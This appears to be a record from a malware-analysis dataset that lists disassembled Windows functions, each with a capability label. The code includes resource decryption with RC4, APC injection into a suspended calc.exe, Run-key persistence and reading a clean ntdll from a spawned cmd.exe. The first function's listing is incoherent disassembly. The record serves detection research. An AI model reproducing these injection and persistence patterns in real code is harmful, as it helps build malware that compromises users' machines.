joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x4327c0
mov eax, dword [rax + 0x20]
mov dword [rdi + 0x38], eax
mov rcx, rbx
mov rdx, rsi
call r15
mov rcx, rdi
jmp 0x432870
xor r14d, r14d
xor edx, edx
jmp 0x4328ff
mov rax, qword [rcx]
jmp 0x43280b
push r15
je 0x4328f6
jne 0x4328f6
add byte [rax], al
add byte [rax], al
nop word cs:[rax + rax]
nop dword [rax]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
jmp 0x4328de
mov rcx, rbp
jmp 0x4328b1
mov r15, qword [sym.imp.itmkl_beo_UteNpt2HgazewrUmZvtjloS]
je 0x4327d2
jne 0x4327d2
jmp 0xffffffffff44b34d
mov rax, qword [rcx]
call qword [rax + 0x30]
jmp 0x432796
call qword [rax + 8]
je 0x432914
jne 0x432914
jmp 0x43d508
jmp 0x4328cc
call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
call qword [rax + 8]
test eax, eax
je 0x43287d
jne 0x43287d
por mm3, qword [rdx - 0x17]
je 0x4327ed
jne 0x4327ed
je 0xffffffff8452d62d
jmp 0x432821
sub rsp, 0x28
mov rdi, rcx
je 0x43290b
jmp 0x432932
push rdi
push rbp
push rbx
jmp 0x432845
je 0x432920
mov rax, qword [rcx]
jmp 0x4327ad
call fcn.00433060
jmp 0x43295e
jmp 0xfbac90
je 0x43293b
je 0x43294f
jne 0x43294f
je 0xffffffff8dc73819
je 0x432925
add byte [rax], al
add byte [rax - 0x75], cl
outsd dx, dword [rsi]
adc byte [rdi], cl
test ch, cl
add byte [rax], al
add byte [rdi], cl
test edi, eax
add byte [rax], al
add byte [rax - 0x7b], cl
leave
mov rbp, qword [rdi + 0x10]
je 0x43296f
jne 0x43296f
test rcx, rcx
jmp 0x43285e
call qword [rax + 0x18]
lea edx, [rax + 1]
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x20]
mov rcx, qword [rdi + 0x10]
jmp 0x4327bb
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
call qword [rax + 0x30]
test rax, rax
je 0x43293b
mov rcx, qword [rdi + 0x10]
je 0x432801
jne 0x432801
push r14
push rsi
jmp 0x432857
je 0x432842
jne 0x432842
mov rcx, qword [rcx + 0x10]
je 0x4328a8
jne 0x4328a8
jmp 0x12ee99d
test eax, eax
jmp 0x432918
jne 0x4327e0
jmp 0x43293b
xor r14d, r14d
jmp 0x43293b
je 0x432935
jne 0x432935
jmp 0x43287c
jne 0x43290b
jmp 0x44e77a
mov r14d, 1
mov eax, r14d
jmp 0x432942
je 0x43281b
jne 0x43281b
jmp 0x38a2b69b
lea rbx, [rdi + 0x38]
lea rsi, [rdi + 0x3c]
jmp 0x4327f5
cmp eax, 1
je 0x432892
jne 0x432892
je 0x88b4bb
mov rax, qword [rbp]
jmp 0x432838
invalid
add al, ah
dec dword [rbp + 0x29]
imul r9, rbx, 0xa2c13
Function at 0x448de0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
lea rax, [rdx + 0x10]
cmp r8d, 0x100
cmovne rax, rdx
lea r8, str.expand_32_byte_kexpand_16_byte_k
lea r9, [0x0045fbe0]
cmove r9, r8
mov edx, dword [rax]
mov dword [rcx + 0x20], edx
mov edx, dword [rax + 4]
mov dword [rcx + 0x24], edx
mov edx, dword [rax + 8]
mov dword [rcx + 0x28], edx
mov eax, dword [rax + 0xc]
mov dword [rcx + 0x2c], eax
mov dword [rcx], 0x61707865
mov rax, qword [r9 + 4]
mov qword [rcx + 4], rax
mov eax, dword [r9 + 0xc]
mov dword [rcx + 0xc], eax
ret
Function at 0x44ee90
Capabilities:
Hash data using sha512

Disassembly:
test rcx, rcx
je 0x44ef1b
mov qword [rcx + 0x48], 0
mov qword [rcx], 0
movabs rax, 0x6a09e667f3bcc908
mov qword [rcx + 8], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 0x10], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x18], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x20], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x28], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x30], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x38], rax
mov eax, 1
ret
Function at 0x44f940
Capabilities:
Encrypt data using curve25519

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xc0
mov rsi, rdx
mov rdi, rcx
mov edx, 0x20
mov rcx, r8
mov r8, rsi
call fcn.0044f6b0
and byte [rsi], 0xf8
mov al, byte [rsi + 0x1f]
and al, 0x3f
or al, 0x40
mov byte [rsi + 0x1f], al
lea rbx, [rsp + 0x20]
mov rcx, rbx
mov rdx, rsi
call fcn.0044c300
mov rcx, rdi
mov rdx, rbx
call fcn.0044c280
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
Function at 0x44f9a0
Capabilities:
Encrypt data using curve25519

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov qword [rsp + 0x28], rcx
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
mov byte [rsp + rax + 0x30], cl
add rax, 1
cmp rax, 0x20
jne 0x44f9c0
and byte [rsp + 0x30], 0xf8
mov al, byte [rsp + 0x4f]
and al, 0x3f
or al, 0x40
mov byte [rsp + 0x4f], al
lea rbp, [rsp + 0x140]
mov rcx, rbp
call fcn.00449700
lea rbx, [rsp + 0x170]
mov rcx, rbx
call fcn.00449390
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov rdx, rbp
mov r8, rbx
call fcn.004493b0
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.0044b630
mov rcx, rbx
mov rdx, rbx
call fcn.00449990
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
call fcn.0044a130
lea rcx, [rsp + 0x80]
call fcn.00449390
lea rdi, [rsp + 0x110]
mov rcx, rdi
call fcn.00449370
lea rcx, [rsp + 0x50]
mov rdx, rbp
call fcn.004496e0
lea r14, [rsp + 0xe0]
mov rcx, r14
call fcn.00449390
mov r13d, 0xfe
xor r15d, r15d
nop word cs:[rax + rax]
nop
mov ebp, r15d
mov eax, r13d
shr rax, 3
movzx r15d, byte [rsp + rax + 0x30]
mov ecx, r13d
and cl, 7
shr r15d, cl
and r15d, 1
xor ebp, r15d
lea rsi, [rsp + 0x80]
mov rcx, rsi
lea r12, [rsp + 0x50]
mov rdx, r12
mov r8d, ebp
call fcn.00449540
mov rcx, rdi
mov rdx, r14
mov r8d, ebp
call fcn.00449540
lea rbp, [rsp + 0xb0]
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.0044b630
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.0044b630
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.004493b0
mov rcx, rdi
mov rdx, r12
mov r8, r14
call fcn.004493b0
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.0044a130
mov rcx, rdi
mov rdx, rdi
mov r8, rbx
call fcn.0044a130
mov rcx, rbp
mov rdx, rbx
call fcn.00449c20
mov rcx, rbx
mov rdx, rsi
call fcn.00449c20
mov rcx, r12
mov rdx, r14
mov r8, rdi
call fcn.004493b0
mov rcx, rdi
mov rdx, r14
mov r8, rdi
call fcn.0044b630
mov rcx, rsi
mov rdx, rbx
mov r8, rbp
call fcn.0044a130
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.0044b630
mov rcx, rdi
mov rdx, rdi
call fcn.00449c20
mov rcx, r14
mov rdx, rbx
call fcn.0044ac70
mov rcx, r12
mov rdx, r12
call fcn.00449c20
mov rcx, rbp
mov rdx, rbp
mov r8, r14
call fcn.004493b0
mov rcx, r14
lea rdx, [rsp + 0x140]
mov r8, rdi
call fcn.0044a130
mov rcx, rdi
mov rdx, rbx
mov r8, rbp
call fcn.0044a130
add r13d, 0xffffffff
cmp r13d, 0xffffffff
jne 0x44fa90
lea rsi, [rsp + 0x80]
lea rdx, [rsp + 0x50]
mov rcx, rsi
mov r8d, r15d
call fcn.00449540
lea rdi, [rsp + 0x110]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
mov r8d, r15d
call fcn.00449540
mov rcx, rdi
mov rdx, rdi
call fcn.00449990
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.0044a130
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
call fcn.0044a9a0
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140006950
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
push r12
push r14
push r15
sub rsp, 0xf0
xorps xmm0, xmm0
lea rcx, [rsp + 0x50]
movups xmmword [rsp + 0x80], xmm0
xor eax, eax
xor r12d, r12d
xorps xmm1, xmm1
mov qword [r11 - 0x28], rax
movups xmmword [r11 - 0x78], xmm0
mov qword [rsp + 0x78], rax
movups xmmword [r11 - 0x68], xmm0
mov qword [rsp + 0x60], r12
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x50], xmm1
call fcn.140006f80
mov rbx, qword [rsp + 0x58]
mov r14d, r12d
mov ebp, r12d
mov r15d, r12d
sub rbx, qword [rsp + 0x50]
je 0x140006a3c
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140006b86
cmp rbx, 0x1000
jb 0x140006a11
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140006b8c
call fcn.14001063c
test rax, rax
je 0x140006b80
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140006a1c
mov rcx, rbx
call fcn.14001063c
mov r14, rax
mov rdx, qword [rsp + 0x50]
lea rbp, [r14 + rbx]
mov rbx, qword [rsp + 0x58]
mov rcx, r14
sub rbx, rdx
mov r8, rbx
call fcn.140012390
lea r15, [rbx + r14]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x48], rax
lea rcx, str.C:WindowsSystem32calc.exe
lea rax, [rsp + 0x80]
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r12
xor r8d, r8d
mov qword [rsp + 0x30], r12
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdi, qword [rsp + 0x68]
sub r15, r14
mov rsi, qword [rsp + 0x70]
mov r8, r15
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, r15
mov qword [rsp + 0x20], r12
mov rdx, rax
mov r8, r14
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rdi, qword [rsp + 0x118]
mov rsi, qword [rsp + 0x110]
test r14, r14
je 0x140006b2e
sub rbp, r14
cmp rbp, 0x1000
jb 0x140006b23
mov rcx, qword [r14 - 8]
add rbp, 0x27
sub r14, rcx
lea rax, [r14 - 8]
cmp rax, 0x1f
ja 0x140006b80
mov r14, rcx
mov rdx, rbp
mov rcx, r14
call fcn.140010678
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140006b66
mov rdx, qword [rsp + 0x60]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140006b61
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006b80
call fcn.140010678
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
call fcn.140016ea4
int3
call fcn.140006ba0
int3
call fcn.140004de0
int3
Function at 0x140006d50
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], r9
push rbp
push r15
sub rsp, 0x48
mov rax, r9
mov r15, r8
mov rbp, rdx
test rdx, rdx
je 0x140006f1a
test rax, rax
je 0x140006f1a
mov qword [r11 + 8], rbx
mov ecx, pe_nt_image_headers64
mov qword [r11 - 0x18], rsi
mov qword [r11 - 0x20], rdi
mov qword [r11 - 0x28], r12
mov qword [r11 - 0x30], r13
mov qword [r11 - 0x38], r14
call fcn.14001063c
xor edx, edx
mov r8d, 0xff
mov rbx, rax
lea rcx, [rax + 1]
call fcn.140012a30
xor r12d, r12d
mov rcx, rbx
mov eax, r12d
nop dword [rax + rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jb 0x140006dc0
mov r14d, r12d
mov rdi, rbx
mov esi, pe_nt_image_headers64
nop word [rax + rax]
movzx r8d, byte [rdi]
xor edx, edx
mov rax, rdi
sub rax, rbx
div r15
movzx ecx, byte [rdx + rbp]
add ecx, r14d
add ecx, r8d
movzx r14d, cl
test rbx, rbx
jne 0x140006e1f
lea rdx, str.Array_pointer_is_null.
lea rcx, [0x1400488c0]
call fcn.1400012f0
mov rcx, rax
call fcn.140001f10
jmp 0x140006e2a
movzx eax, byte [r14 + rbx]
mov byte [rdi], al
mov byte [r14 + rbx], r8b
inc rdi
sub rsi, 1
jne 0x140006de0
mov rbp, qword [rsp + 0x80]
mov r13d, r12d
mov rdi, r12
test rbp, rbp
je 0x140006ee2
mov rsi, qword [rsp + 0x88]
lea eax, [r12 + 1]
movzx r12d, al
movzx edx, byte [r12 + rbx]
lea eax, [rdx + r13]
movzx r13d, al
test rbx, rbx
jne 0x140006e8e
lea rdx, str.Array_pointer_is_null.
lea rcx, [0x1400488c0]
call fcn.1400012f0
mov rcx, rax
call fcn.140001f10
lea rcx, [rbx + r13]
jmp 0x140006e9d
movzx eax, byte [rbx + r13]
lea rcx, [rbx + r13]
mov byte [r12 + rbx], al
mov byte [rcx], dl
movzx eax, byte [rcx]
add al, byte [r12 + rbx]
mov rdx, qword [rsi + 8]
movzx ecx, al
movzx eax, byte [rcx + rbx]
mov rcx, qword [rsp + 0x78]
xor al, byte [rdi + rcx]
mov byte [rsp + 0x68], al
cmp rdx, qword [rsi + 0x10]
je 0x140006ec9
mov byte [rdx], al
inc qword [rsi + 8]
jmp 0x140006ed6
lea r8, [rsp + 0x68]
mov rcx, rsi
call fcn.140006bc0
inc rdi
cmp rdi, rbp
jb 0x140006e52
mov r14, qword [rsp + 0x20]
mov r13, qword [rsp + 0x28]
mov r12, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
test rbx, rbx
je 0x140006f0d
mov edx, pe_nt_image_headers64
mov rcx, rbx
call fcn.140010678
mov rbx, qword [rsp + 0x60]
add rsp, 0x48
pop r15
pop rbp
ret
lea rdx, str.Null_pointer_found_for_key_or_input.
lea rcx, [0x1400488c0]
call fcn.1400012f0
mov rcx, rax
add rsp, 0x48
pop r15
pop rbp
jmp fcn.140001f10
Function at 0x140006f80
Capabilities:
Encode data using xor
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov edx, 0x65
mov r14, rcx
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test rbx, rbx
jne 0x14000700a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____FindResourceW_Failed_With_Error_:
mov ebx, eax
lea rcx, [0x1400488c0]
call fcn.1400012f0
mov rcx, rax
mov edx, ebx
call fcn.140002eb0
mov rcx, rax
call fcn.140001f10
test rdi, rdi
jne 0x14000703c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____LoadResource_Failed_With_Error_:
mov ebx, eax
lea rcx, [0x1400488c0]
call fcn.1400012f0
mov rcx, rax
mov edx, ebx
call fcn.140002eb0
mov rcx, rax
call fcn.140001f10
test rsi, rsi
jne 0x14000706e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____LockResource_Failed_With_Error_:
mov ebx, eax
lea rcx, [0x1400488c0]
call fcn.1400012f0
mov rcx, rax
mov edx, ebx
call fcn.140002eb0
mov rcx, rax
call fcn.140001f10
test rbp, rbp
jne 0x1400070a0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____SizeofResource_Failed_With_Error_:
mov ebx, eax
lea rcx, [0x1400488c0]
call fcn.1400012f0
mov rcx, rax
mov edx, ebx
call fcn.140002eb0
mov rcx, rax
call fcn.140001f10
mov ecx, 0x10
mov dword [rsp + 0x30], 0xe3154a17
mov dword [rsp + 0x34], 0xd9759599
mov dword [rsp + 0x38], 0x88025af6
mov dword [rsp + 0x3c], 0xee8d4301
call fcn.14001063c
mov r8d, 0x10
lea rdx, [rsp + 0x30]
mov rcx, rax
mov rdi, rax
call fcn.140012390
mov ecx, 0x10
xor bl, bl
call fcn.1400106ac
movzx edx, byte [rdi]
mov r10, rax
cmp dl, 0x12
je 0x14000710c
nop word [rax + rax]
inc bl
movzx ecx, bl
xor cl, dl
cmp cl, 0x12
jne 0x140007100
xor edx, edx
mov r8, rdi
sub r8, r10
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rdx + r10]
movzx eax, bl
xor al, byte [r8 + rcx]
sub al, dl
inc rdx
mov byte [rcx], al
cmp rdx, 0x10
jb 0x140007120
mov qword [rsp + 0x28], r14
mov r9, rsi
mov r8d, 0x10
mov qword [rsp + 0x20], rbp
mov rdx, r10
mov rcx, r14
call fcn.140006d50
test rdi, rdi
je 0x140007168
mov edx, 0x10
mov rcx, rdi
call fcn.140010678
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140008880
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x230
mov rdi, rdx
mov ecx, 0x104
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x14000890b
mov qword [rsp + 0x240], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Failed_to_get_temporary_folder_path._Error_code:
mov ebx, eax
lea rcx, [0x140048790]
call fcn.140007190
mov rcx, rax
mov edx, ebx
call fcn.140007c50
mov rcx, rax
call fcn.140001fb0
xor eax, eax
lea rdx, [0x140035dac]
xorps xmm0, xmm0
xor r8d, r8d
movups xmmword [rdi], xmm0
mov rcx, rdi
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], rax
call fcn.140007450
mov rbx, qword [rsp + 0x240]
mov rax, rdi
add rsp, 0x230
pop rdi
ret
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov r8, 0xffffffffffffffff
mov qword [rdi + 0x18], rax
lea rax, [rsp + 0x20]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140008930
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.140007450
mov rax, rdi
add rsp, 0x230
pop rdi
ret

Function at 0x140008960
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
call fcn.140008190
lea rax, [rsp + 0x48]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400089c3
lea rbx, [0x140048660]
mov rcx, rbx
lea rdx, str.Failed_to_open_the_Run_key.
call fcn.1400012f0
mov rcx, rax
call fcn.140001f10
lea rdx, str.Failed_to_execute_the_persistence_function.
jmp 0x140008a5a
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x1400089d0
mov rcx, qword [rbx]
mov eax, dword [rbx + 0x10]
lea rdx, str.MyApplication
mov r9d, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rbx, [0x140048660]
mov rcx, rbx
test eax, eax
je 0x140008a34
lea rdx, str.Failed_to_set_the_current_executable_path_in_the_Run_key.
call fcn.1400012f0
mov rcx, rax
call fcn.140001f10
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Failed_to_execute_the_persistence_function.
jmp 0x140008a5a
lea rdx, str.Persistence_set_successfully.
call fcn.1400012f0
mov rcx, rax
call fcn.140001f10
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Persistence_function_executed_successfully.
mov rcx, rbx
call fcn.1400012f0
mov rcx, rax
add rsp, 0x30
pop rbx
jmp fcn.140001f10
Function at 0x140009140
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, qword [rcx]
mov r10d, 0x270
mov ecx, dword [r9]
cmp ecx, r10d
jne 0x1400091a1
lea r8, [r9 + 8]
nop dword [rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140009160
mov ecx, dword [r9]
jmp 0x140009288
cmp ecx, 0x4e0
jb 0x140009288
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x630]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x1400091c0
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop dword [rax + rax]
mov eax, r11d
mov r11d, dword [r10 + 4]
mov edx, eax
lea r10, [r10 + 4]
xor edx, r11d
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 - 0xd50]
xor ecx, edx
mov dword [r10 - 0x9c4], ecx
sub rbx, 1
jne 0x140009210
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14000af40
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
lea r14, [rcx + 0x68]
mov rsi, rcx
mov qword [rsp + 0x48], r14
lea rax, str.C:WindowsSystem32_
mov qword [rsp + 0x40], rcx
lea rdx, str.cmd.exe
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
xor r8d, r8d
mov dword [rsp + 0x28], 0x14
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000afbc
lea rdx, str.____Error:_Could_not_call_CreateProcess
lea rcx, [0x140048790]
call fcn.1400015a0
mov rcx, rax
call fcn.140001fb0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 4
mov r8d, 0x1000
mov rdi, rax
movsxd rcx, dword [rax + 0x3c]
mov ebx, dword [rcx + rax + 0x50]
xor ecx, ecx
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, str.ntdll_size:
mov rbp, rax
lea rcx, [0x140048790]
call fcn.1400015a0
mov rcx, rax
mov edx, ebx
call fcn.14000ad30
mov rcx, rax
lea rdx, str.__cache:
call fcn.1400015a0
mov rcx, rax
mov rdx, rbp
call fcn.14000ab20
mov rcx, rax
call fcn.140001fb0
mov rcx, qword [r14]
lea rax, [rsp + 0x70]
mov r9d, ebx
mov qword [rsp + 0x20], rax
mov r8, rbp
mov qword [rsp + 0x70], 0
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x14000b08f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Error_reading:
mov ebx, eax
lea rcx, [0x140048790]
call fcn.1400015a0
mov rdx, qword [rsp + 0x70]
mov rcx, rax
call fcn.14000ad30
mov rcx, rax
mov edx, ebx
call fcn.140007c50
mov rcx, rax
call fcn.140001fb0
lea rdx, str.Kill___
lea rcx, [0x140048790]
call fcn.140007190
mov rcx, qword [r14]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rdx, str.Done___
lea rcx, [0x140048790]
call fcn.140007190
mov rdx, qword [rsi + 0x80]
mov r8, rbp
mov rcx, rsi
call fcn.14000b100
lea rdx, str.Done___
lea rcx, [0x140048790]
call fcn.140007190
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret